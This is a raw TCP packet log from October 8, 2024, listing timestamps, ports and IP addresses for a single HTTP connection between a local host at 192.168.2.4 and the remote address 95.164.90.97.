Oct 8, 2024 02:45:23.394607067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.394624949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.394637108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.394658089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.394675970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.394691944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.394711018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.394733906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.395271063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.395303965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.395323992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.395356894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.403937101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404000044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404042959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404077053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404095888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404119015 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404329062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404361010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404380083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404395103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404411077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404428959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404441118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404463053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404478073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404520035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404863119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404896021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404927969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404958010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404958010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404958963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.404980898 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.404993057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.405018091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.405039072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.405451059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.405483007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.405503035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.405517101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.405524969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.405561924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.405807018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.405838966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.405858994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.405872107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.405881882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.405905962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.405922890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.405944109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.405951023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.405977011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.405992985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.406012058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.406024933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.406063080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.454722881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.454801083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.454812050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.454813004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.455014944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.455027103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.455070019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.455070019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.455115080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.455115080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.455281019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.455292940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.455303907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.455336094 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.455368996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.476047039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476058960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476066113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476216078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.476310015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476319075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476327896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476567030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.476567030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.476767063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476775885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476784945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476789951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476799965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476809978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.476828098 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.476871014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.476871014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.477453947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.477463007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.477509975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.477679968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.477734089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.477778912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.477788925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.477797985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.477807999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.477817059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.477826118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.477838993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.477874041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.477874041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.478703022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.478713989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.478722095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.478730917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.478739023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.478749990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.478759050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.478764057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.478799105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.478800058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.479427099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.479439020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.479446888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.479455948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.479470968 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.479480982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.479484081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.479500055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.479512930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.479512930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.479548931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.480436087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.480446100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.480457067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.480465889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.480475903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.480485916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.480487108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.480499029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.480510950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.480541945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.481264114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.481273890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.481282949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.481292009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.481301069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.481311083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.481319904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.481319904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.481354952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.481354952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.481384993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.482147932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.482157946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.482166052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.482176065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.482183933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.482193947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.482203007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.482207060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.482243061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.482243061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.482994080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483005047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483012915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483022928 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483031034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483040094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483048916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483048916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.483091116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.483091116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.483091116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.483750105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483760118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483768940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483778000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483787060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483797073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483805895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483807087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.483817101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483827114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.483829975 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.483850956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.483880997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.484687090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.484697104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.484705925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.484714985 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.484724045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.484735012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.484744072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.484750986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.484750986 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.484754086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.484766960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.484776020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.484793901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.484823942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.485533953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.485546112 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.485593081 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.494991064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.495059013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.495066881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.495068073 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.495224953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.495249033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.495258093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.495268106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.495277882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.495300055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.495333910 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.495651007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.495704889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.495891094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.495944977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.495955944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.495965004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.496002913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.496149063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.496159077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.496167898 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.496206045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.496206999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.496534109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.496543884 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.496552944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.496562004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.496572018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.496581078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.496592045 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.496625900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.496625900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.497176886 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.497186899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.497231960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.545324087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.545383930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.545389891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.545624971 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.545634031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.545644045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.545653105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.545661926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.545778990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.545779943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.545779943 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.566956043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567017078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567157984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567169905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567167997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.567167997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.567219973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.567363977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567416906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.567502022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567512989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567524910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567557096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.567584991 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.567804098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567853928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.567935944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567948103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.567986965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.568172932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568190098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568202019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568212032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568219900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.568224907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568254948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.568281889 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.568783045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568794012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568804026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568815947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568825960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568835974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.568836927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568849087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568860054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.568865061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.568883896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.568896055 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.569690943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.569704056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.569714069 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.569730997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.569741011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.569741964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.569753885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.569762945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.569765091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.569777966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.569796085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.569816113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.570591927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.570605040 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.570615053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.570626020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.570636988 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.570643902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.570647955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.570660114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.570662022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.570672035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.570683956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.570703983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.571477890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.571489096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.571497917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.571506023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.571515083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.571523905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.571532011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.571532011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.571546078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.571547985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.571556091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.571562052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.571593046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.572424889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.572436094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.572443962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.572453976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.572463036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.572473049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.572478056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.572484016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.572496891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.572510004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.572526932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.573288918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.573299885 CEST	80	51293	95.164.90.97	192.168.2.4
